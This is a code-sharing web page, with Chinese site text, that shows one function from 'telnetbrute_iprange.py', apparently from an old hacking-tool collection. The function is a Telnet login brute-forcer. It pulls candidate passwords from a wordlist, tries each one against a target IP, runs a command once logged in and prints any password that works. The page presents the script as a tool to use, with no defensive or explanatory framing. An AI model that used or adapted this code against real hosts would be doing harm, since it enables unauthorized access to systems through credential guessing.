telnetbrute_iprange.py 文件源码

python
阅读 20 收藏 0 点赞 0 评论 0

项目:darkc0de-old-stuff 作者: tuwid 项目源码 文件源码
def run(self):
        value = getword()
        try:
            print "-"*12
            print "User:",user[:-1],"Password:",value
            tn = telnetlib.Telnet(ip)
            tn.read_until("login: ")
            tn.write(user[:-1] + "\n")
            if password:
                    tn.read_until("Password: ")
                    tn.write(value + "\n")
            tn.write("ls\n")
            tn.write("exit\n")
            print tn.read_all()
            print "\t\nLogin successful:",value, user[:-1]
            tn.close()
            work.join()
            sys.exit(2)
        except: 
            pass
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号